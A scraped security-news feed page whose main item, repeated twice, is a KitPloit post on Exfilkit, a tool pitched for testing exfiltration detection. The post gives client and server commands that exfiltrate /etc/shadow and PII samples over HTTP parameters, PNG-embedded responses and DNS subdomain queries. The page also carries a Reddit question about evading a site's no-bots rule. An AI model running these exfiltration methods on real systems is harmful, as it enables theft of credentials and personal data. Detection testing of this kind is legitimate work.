Data exfiltration (https://www.kitploit.com/search/label/Exfiltration) utility for testing (https://www.kitploit.com/search/label/Testing) detection capabilities Description Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.
Exfiltration How-To /etc/shadow -> HTTP GET requests Server # ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log
Client $ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r
/etc/shadow -> HTTP POST requests Server # ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTServer -lp 80 -o output.log
Client $ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r
PII -> PNG embedded (https://www.kitploit.com/search/label/Embedded) in HTTP Response Server $ ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Server -lp 37650 -o output.log
Client # ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r
PII -> DNS subdomains (https://www.kitploit.com/search/label/Subdomains) querying Server # ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Server -lp 53 -o output.log
Client $ ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r


Download Exfilkit (https://github.com/tasooshi/exfilkit)

Hacking on Medium
Phoneinfoga- Wikipedia of Phone Numbers.

https://cdn-images-1.medium.com/max/1280/1*to3dPtYms64Oil0lrIXlpA.png
The Wikipedia Of Phone Number…Read This Article To Know All The Information Of Your Phone Number, Its All PUBLIC!!

Continue reading on Medium »

Hacking on Medium
Hacking an iPhone is possible even when it’s Switched-Off. Know How?

https://cdn-images-1.medium.com/max/640/0*SQcRcsVzI7IqZhQA.jpg
Do you know that hacking can be so dangerous to a higher level that you couldn’t even expect?

Continue reading on Medium »

Hacking on Medium
Victim Offers The Job Of Chief Security Adviser To the Hacker who made the cyber offense of 4,532…

https://cdn-images-1.medium.com/max/600/0*QeBGiOcEXIBFz4sb.jpg
Victim Offers The Job Of Chief Security Adviser To the Hacker who made the cyber offense of 4,532 Crores To His company.

Continue reading on Medium »

Hacking on Medium
Try Hack ME | CyberHeroes

https://cdn-images-1.medium.com/max/1273/1*mjUMGBLsXEcSPAxLmrTMsQ.png
Hey today we are going to solve an easy machine on Tryhack me

Continue reading on Medium »

KitPloit - PenTest Tools!
Exfilkit - Data Exfiltration Utility For Testing Detection Capabilities

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhey_yUne0yxdumzLIYfqO152QDmec5MjrITKpPGRaRlEwlXlSg7O4wF83vBm3nNnQyPJDGovKd3E_hVGL4HxTip6tx0qcGtsF21gwXYUFwBg7le8lc5RAnSXR183zuHk8voyjYJ-gV4Mij1fD5MXstjNzszmfnYSAOk8dlph-3IgYGKhMvXhU2jsIQ/w640-h368/Exfilkit.png
Data exfiltration utility for testing detection capabilities

Description

Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.
Exfiltration How-To

/etc/shadow -> HTTP GET requests

Server

# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log


Client

$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r


/etc/shadow -> HTTP POST requests

Server

# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTServer -lp 80 -o output.log


Client

$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r


PII -> PNG embedded in HTTP Response

Server

$ ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Server -lp 37650 -o output.log


Client

# ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r


PII -> DNS subdomains querying

Server

# ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Server -lp 53 -o output.log


Client

$ ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r

Download Exfilkit

hacking: security in practice
Not really hacking, but I’m planning on using an auto refresh tool + an autoclicker to try to click on a reservation link as soon as it becomes available upon refresh. The website has a strict no bots rule to book dates. Will these two tools activate the bot trigger? And can I make it undetectable?

And what about only using the auto refresh without an autoclicker? Thanks in advance.

submitted by /u/DaddyCool13
[link] [comments]

hacking: security in practice
Defending against malicious bots with a zip bomb

https://external-preview.redd.it/dmNDaQbix-b1JK_8hJOkoag8_FsIBJxjmcy9sm60hq8.jpg?width=640&crop=smart&auto=webp&s=fcf9059c8b082e8ee9f073e309e2c7a165609586 submitted by /u/z0mbie42_
[link] [comments]

hacking: security in practice
Uses for old directv dishes?

I have 2 satellite dishes that came with my house, directv and dish network. Can I use these for anything, like trying to communicate with other satellites or maybe amplifying my Wi-Fi signal?

submitted by /u/Nx0Sec
[link] [comments]

Single most valuable resource: Bug Bounty Hunting
https://0xshakhawat.medium.com/single-most-valuable-resource-bug-bounty-hunting-a60406684d3f?source=rss------bug_bounty-5

As a Bug Bounty Hunter, what is the single most valuable resource (course, blog, cert, book) that has boosted your skills the most?Continue reading on Medium » (https://0xshakhawat.medium.com/single-most-valuable-resource-bug-bounty-hunting-a60406684d3f?source=rss------bug_bounty-5)

Single most valuable resource: Bug Bounty Hunting

As a Bug Bounty Hunter, what is the single most valuable resource (course, blog, cert, book) that has boosted your skills the most?Continue reading on Medium »
Read more...